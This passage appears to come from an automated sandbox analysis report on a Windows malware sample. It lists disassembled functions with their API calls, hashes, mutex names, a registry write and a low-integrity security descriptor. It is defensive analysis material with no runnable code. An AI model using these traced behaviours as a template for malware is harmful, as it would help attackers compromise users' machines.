                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 32457b5295786443e8d33aee775b749404d45f92a3b457d34e2168794e3d05a6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D911C470B00204EBEB14CB70C9CDFAE33A9EB48708FA084A8F589D7180D671DA888B50
                                                                                                                                                                                                                      Function 026FD890 Relevance: 10.6, APIs: 7, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,026FD860,00000000,00000000,00000000,00000101,?,?,026F9D7A,?,?,?,?,026F9F49,00000000), ref: 026FD8A4
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000,?,?,026F9D7A,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400), ref: 026FD8BC
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,026F9D7A,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?), ref: 026FD8CD
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,026F9D7A,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400), ref: 026FD8DC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026FD910
                                                                                                                                                                                                                      • IsWindow.USER32(?), ref: 026FD917
                                                                                                                                                                                                                      • PostMessageA.USER32(?,00000215,00000000,00000000), ref: 026FD92B
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$CloseCreateInformationMessageMutexObjectPostReleaseSingleThreadWaitWindow
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 731183410-0
                                                                                                                                                                                                                      • Opcode ID: 242d15570f082c7617aab94201366a3da34761ae92f0d5a9005ee466ccce14ee
                                                                                                                                                                                                                      • Instruction ID: d60c87716fbe034a35dc37c3c43ad532ab0578c7df85a631ea4db638b267c1e3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 242d15570f082c7617aab94201366a3da34761ae92f0d5a9005ee466ccce14ee
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2311D671A81314ABEB109F60DC0EFDF77E8BF09B16F5485A4FA14AB2C1D7B069108B95
                                                                                                                                                                                                                      Function 027098F0 Relevance: 10.5, APIs: 7, Instructions: 43networkthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • shutdown.WS2_32(?,00000001), ref: 0270990B
                                                                                                                                                                                                                      • shutdown.WS2_32(027099EC,00000001), ref: 02709910
                                                                                                                                                                                                                      • recv.WS2_32(027099EC,?,00000400,00000000), ref: 0270992F
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000400,00000000), ref: 02709945
                                                                                                                                                                                                                      • closesocket.WS2_32(?), ref: 02709959
                                                                                                                                                                                                                      • closesocket.WS2_32(027099EC), ref: 0270995C
                                                                                                                                                                                                                      • ExitThread.KERNEL32 ref: 02709960
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: closesocketrecvshutdown$ExitThread
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1638183600-0
                                                                                                                                                                                                                      • Opcode ID: 0f5ebce380cb3ccefe5485d2b3cecdae49a93a09856c6328e4b2c44f698d2605
                                                                                                                                                                                                                      • Instruction ID: a58b6612aff071db62e72828994946e5a41522cee571e5d8239c0154cf535674
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0f5ebce380cb3ccefe5485d2b3cecdae49a93a09856c6328e4b2c44f698d2605
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 42F044B2E50328BBD7209A65CC85F9B3BADEB48B50F418504BB04BB1C1D6B4B940CEE4
                                                                                                                                                                                                                      Function 026F38A0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000102,?,?,?,026F3B25,?), ref: 026F38C0
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(00000000,d900db10a,00000000,00000004,?,00000004,?,?,026F3B25,?), ref: 026F38DC
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(00000000,?,?,026F3B25,?), ref: 026F38EA
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000,?,?,026F3B25,?), ref: 026F38F8
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseFlushOpenValue
                                                                                                                                                                                                                      • String ID: d900db10a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 2510291871-3622346954
                                                                                                                                                                                                                      • Opcode ID: dab4fd730fe167384988e66b27b3655f53cca70ba6cc26b70eefcf9cfc2a4b1a
                                                                                                                                                                                                                      • Instruction ID: 59947c6da618086dc0d9bab1993e8eef258b2f4a718517a639a940ea0254f275
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dab4fd730fe167384988e66b27b3655f53cca70ba6cc26b70eefcf9cfc2a4b1a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6DF030B5B81308FBEB10CBB1CE4AFAA777CAB08B45F504454FB01E6241D776AA1097A0
                                                                                                                                                                                                                      Function 02711930 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34synchronizationsleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 0271193E
                                                                                                                                                                                                                        • Part of subcall function 027159D0: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 027159EE
                                                                                                                                                                                                                        • Part of subcall function 027159D0: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000001,026F5DE8,?,?,026F5DE8,?,00000001), ref: 02715A0B
                                                                                                                                                                                                                        • Part of subcall function 027159D0: SetNamedSecurityInfoA.ADVAPI32(?,026F5DE8,00000010,00000000,00000000,00000000,00000001), ref: 02715A26
                                                                                                                                                                                                                        • Part of subcall function 027159D0: LocalFree.KERNEL32(?,?,?,026F5DE8,?,00000001), ref: 02715A37
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732},00000006), ref: 0271195B
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 02711962
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02711974
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02711985
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Security$Descriptor$HandleMutex$CloseConvertCreateFreeInfoInformationLocalNamedReleaseSaclSleepString
                                                                                                                                                                                                                      • String ID: Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}
                                                                                                                                                                                                                      • API String ID: 1370207991-2011349651
                                                                                                                                                                                                                      • Opcode ID: f29d14c8ee64327e5511790e0dd5ee8c36ac76e2ff0b7f6dcf77d4a961651ae5
                                                                                                                                                                                                                      • Instruction ID: ffac5556a9c0a7f93e682f28b3fb6b5a506ff30cd374b68eaf49d8bb1cd595f9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f29d14c8ee64327e5511790e0dd5ee8c36ac76e2ff0b7f6dcf77d4a961651ae5
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2EF02EB0D92318B7E31157A59C0FB5F7BAC9F08B06F844554F909AA180D7B04B1046E2
                                                                                                                                                                                                                      Function 026F7F60 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34threadstringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentProcessId.KERNEL32 ref: 026F7F69
                                                                                                                                                                                                                        • Part of subcall function 02714880: OpenProcess.KERNEL32(00000400,00000000,00000000,74DEF550,00000000,76EEC3F0), ref: 02714895
                                                                                                                                                                                                                        • Part of subcall function 02714880: OpenProcessToken.ADVAPI32(00000000,00000018,?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148AC
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetTokenInformation.ADVAPI32(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 027148CA
                                                                                                                                                                                                                        • Part of subcall function 02714880: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148E2
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetHandleInformation.KERNEL32(?,00000000), ref: 0271493B
                                                                                                                                                                                                                        • Part of subcall function 02714880: CloseHandle.KERNEL32(?), ref: 0271494C
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetHandleInformation.KERNEL32(00000000,?), ref: 0271495E
                                                                                                                                                                                                                        • Part of subcall function 02714880: CloseHandle.KERNEL32(00000000), ref: 0271496F
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 026F7F78
                                                                                                                                                                                                                      • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 026F7F91
                                                                                                                                                                                                                      • GetUserObjectInformationA.USER32(00000000), ref: 026F7F98
                                                                                                                                                                                                                      • lstrcmpiA.KERNEL32(?,d900de8aa), ref: 026F7FAE
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleInformation$Process$CloseCurrentOpenThreadToken$CharDesktopObjectUpperUserlstrcmpi
                                                                                                                                                                                                                      • String ID: d900de8aa
                                                                                                                                                                                                                      • API String ID: 3022286555-3715909395
                                                                                                                                                                                                                      • Opcode ID: 129c1c4ec29c7d493d5fb4adca5b89cfcb59c98aa97ff48faf609ffd23ca6fc1
                                                                                                                                                                                                                      • Instruction ID: ed5df23f1c96dcfa448aeb7929c0da8519c693a2fea1e4a6006c02284cd65e21
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 129c1c4ec29c7d493d5fb4adca5b89cfcb59c98aa97ff48faf609ffd23ca6fc1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 09F089B1E442095BEF509AB4AC0EBAA776CEB44707F404954BA49C6140EFB1D9648BA1
                                                                                                                                                                                                                      Function 0270B980 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33synchronizationsleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}), ref: 0270B98E
                                                                                                                                                                                                                        • Part of subcall function 027159D0: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 027159EE
                                                                                                                                                                                                                        • Part of subcall function 027159D0: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000001,026F5DE8,?,?,026F5DE8,?,00000001), ref: 02715A0B
                                                                                                                                                                                                                        • Part of subcall function 027159D0: SetNamedSecurityInfoA.ADVAPI32(?,026F5DE8,00000010,00000000,00000000,00000000,00000001), ref: 02715A26
                                                                                                                                                                                                                        • Part of subcall function 027159D0: LocalFree.KERNEL32(?,?,?,026F5DE8,?,00000001), ref: 02715A37
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014},00000006), ref: 0270B9AB
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270B9B2
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270B9C4
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270B9D5
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Security$Descriptor$HandleMutex$CloseConvertCreateFreeInfoInformationLocalNamedReleaseSaclSleepString
                                                                                                                                                                                                                      • String ID: Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}
                                                                                                                                                                                                                      • API String ID: 1370207991-2598904463
                                                                                                                                                                                                                      • Opcode ID: 6936964d1ce145a328edc34c479daf848f8ed86f6f61ebf674d4a7d06ab3eab1
                                                                                                                                                                                                                      • Instruction ID: d8078044d5ccb013919412e6517b54cd50691a775364cf7b9940e382e86481fe
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6936964d1ce145a328edc34c479daf848f8ed86f6f61ebf674d4a7d06ab3eab1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 41F02770DD2215F7E7215BA69C0EB9F7B9CAF09B0AF808441F905A60C0CBF04B1086E2
                                                                                                                                                                                                                      Function 02719680 Relevance: 10.1, APIs: 8, Instructions: 95memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 027196E6
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 027196ED
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 027196FA
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02719701
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02719710
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02719713
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02719720
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02719723
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1670920773-0
                                                                                                                                                                                                                      • Opcode ID: 1ef4e7a44cdf34a238493a2214b26643a5bb6f044f72c46923b696f012afdfac
                                                                                                                                                                                                                      • Instruction ID: bd786a571c90a0085efdc11ddc0282ec0931aa2675e6852b24be9710ab0f8606
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1ef4e7a44cdf34a238493a2214b26643a5bb6f044f72c46923b696f012afdfac
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AA31B371A00344EBDB209F69C858B9BBBB8FF88315F088949ED19AB241D731D911CBA0
                                                                                                                                                                                                                      Function 02719880 Relevance: 10.1, APIs: 8, Instructions: 56COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: d768e1f2519a79d6287c062dffc99a5ff26b514bd6a3fd951fb89e7b2027cf1f
                                                                                                                                                                                                                      • Instruction ID: 90d81b8285dcb929e9f396425b089f458f0d28cf024cf20560dca9c0ef42faf2
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d768e1f2519a79d6287c062dffc99a5ff26b514bd6a3fd951fb89e7b2027cf1f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B8017571A46214ABD721ABF9AC99F577B5CEF84755F018427F70497140D7359410CAF0
                                                                                                                                                                                                                      Function 0271E6CA Relevance: 9.1, APIs: 6, Instructions: 141fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • free.MSVCRT(00000000,?,00000004,?,00000000,00000000), ref: 0271E56F
                                                                                                                                                                                                                      • MoveFileA.KERNEL32(?,?), ref: 0271E75D
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 0271E7A1
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0271E813
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$AttributesCreateDirectoryMovefree
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1026147201-0
                                                                                                                                                                                                                      • Opcode ID: 4310226d8f0d11b7fcac620a171db307c2a859f786678c0a9ce561117e50f7d8
                                                                                                                                                                                                                      • Instruction ID: dedddbb7c0e8cec9d0a39a8de9a376689cd94819e584316ca3a9336ce7103abd
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4310226d8f0d11b7fcac620a171db307c2a859f786678c0a9ce561117e50f7d8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C9416A3090476A8FDB228F7C8C84AEA7FF5AF1A300F1449A9EE81D7245DB318509CF90
                                                                                                                                                                                                                      Function 02718AB0 Relevance: 9.1, APIs: 6, Instructions: 108fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,00000000,00000000,00000000,00140B17,?,02719447), ref: 02718AF4
                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,?,02719447), ref: 02718B0E
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,?,02719447), ref: 02718B36
                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(?,?,?,?,?,02719447), ref: 02718B42
                                                                                                                                                                                                                        • Part of subcall function 026F7310: GetHandleInformation.KERNEL32(?,00000000), ref: 026F7324
                                                                                                                                                                                                                        • Part of subcall function 026F7310: CloseHandle.KERNEL32(?), ref: 026F7335
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,00140B17,00000000,00000000,00140B17,?,02719447), ref: 02718B6E
                                                                                                                                                                                                                      • WriteFile.KERNEL32(?,?,00140B17,02719447,00000000,00140B17), ref: 02718BA0
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$HandleViewmemcpy$CloseCreateInformationMappingUnmapWrite
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3741995677-0
                                                                                                                                                                                                                      • Opcode ID: a5d2969fbda46cc109aa071ba22fe1132ec0b9f9cf0e2c9e63cdc0c6fc0e129e
                                                                                                                                                                                                                      • Instruction ID: 281c9b03b53c3880e3012180f2ecacbefeb4e66956aa307db76a901d1342e1fe
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a5d2969fbda46cc109aa071ba22fe1132ec0b9f9cf0e2c9e63cdc0c6fc0e129e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7B318FB2B00209BBD710DF59D885B6AF7B8FF58714F10825AEA0497780D770AD60CBD4
                                                                                                                                                                                                                      Function 02709620 Relevance: 9.1, APIs: 6, Instructions: 106networkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 0270964E
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 0270967F
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 027096AB
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 027096D2
                                                                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000004), ref: 027096F4
                                                                                                                                                                                                                      • WSASetLastError.WS2_32(?), ref: 0270971E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast$Read
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2835504744-0
                                                                                                                                                                                                                      • Opcode ID: 627e98a43036f523e6c84408179e51d386dfb12c142c6b8454921b0959871e31
                                                                                                                                                                                                                      • Instruction ID: 52bef9775ccd54d59f5a7feb30be869200fe6e9152e79894a09e799bebeb3b34
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 627e98a43036f523e6c84408179e51d386dfb12c142c6b8454921b0959871e31
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 26410DB1E00209EFDB40CFA8D885AAEBBF5FF48704F408529E908E7241E774A901CF90
                                                                                                                                                                                                                      Function 026F8740 Relevance: 9.1, APIs: 6, Instructions: 91memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,00000008,0000042C,00000000,75296BA0,75296F70,?,026F8FF0,00000000,02749EB0), ref: 026F8755
                                                                                                                                                                                                                      • GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,026F8FF0,00000000,02749EB0), ref: 026F8777
                                                                                                                                                                                                                      • GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,026F8FF0,00000000,02749EB0), ref: 026F8787
                                                                                                                                                                                                                      • DeleteObject.GDI32(00000000,?,026F8FF0,00000000,02749EB0), ref: 026F878A
                                                                                                                                                                                                                      • CreateDIBSection.GDI32(00000000,00000000,00000000,026F8FF0,00000000,00000000,?,026F8FF0,00000000,02749EB0), ref: 026F8800
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,00000000,00000000,?,026F8FF0,00000000,02749EB0), ref: 026F8810
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
